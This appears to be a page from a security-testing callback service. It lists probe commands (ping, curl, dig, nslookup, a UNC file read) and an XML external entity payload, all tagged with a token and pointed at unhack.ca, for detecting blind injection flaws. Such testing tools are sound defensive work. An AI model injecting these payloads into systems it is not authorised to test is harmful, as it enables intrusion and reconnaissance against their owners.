$ ping -c1 -p 0043090e116c896b3f94bcb3dce2e000 unhack.ca
$ curl http://unhack.ca/p/43090e116c896b3f94bcb3dce2e0
$ dig 43090e116c896b3f94bcb3dce2e0 @unhack.ca
$ dig 43090e116c896b3f94bcb3dce2e0.ns.unhack.ca
C:\> nslookup 43090e116c896b3f94bcb3dce2e0 unhack.ca
C:\> type \\unhack.ca\43090e116c896b3f94bcb3dce2e0\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/43090e116c896b3f94bcb3dce2e0">]>
<foo>&xxe;</foo>
Waiting for ping...